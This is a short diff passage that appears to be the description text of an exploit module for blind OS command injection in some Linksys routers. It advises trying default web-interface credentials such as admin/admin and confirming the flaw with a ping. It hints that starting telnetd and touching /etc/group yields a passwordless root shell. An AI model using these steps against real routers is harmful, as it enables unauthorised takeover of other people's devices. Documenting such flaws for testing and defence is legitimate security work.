+					Some Linksys Routers are vulnerable to OS Command injection.
+				You will need credentials to the webinterface to access the vulnerable part
+				of the application. Default credentials are always a good starting point.
+				admin/admin or admin/password could be a first try.
+				Note: This is a blind os command injection vulnerability. This means that you will
+				not see any output of your command. Try a ping command to your local system for a
+				first test.
+
+				Hint: To get a remote shell you could start telnetd and touch /etc/group. Use the 
+				user root without a password for accessing the device.
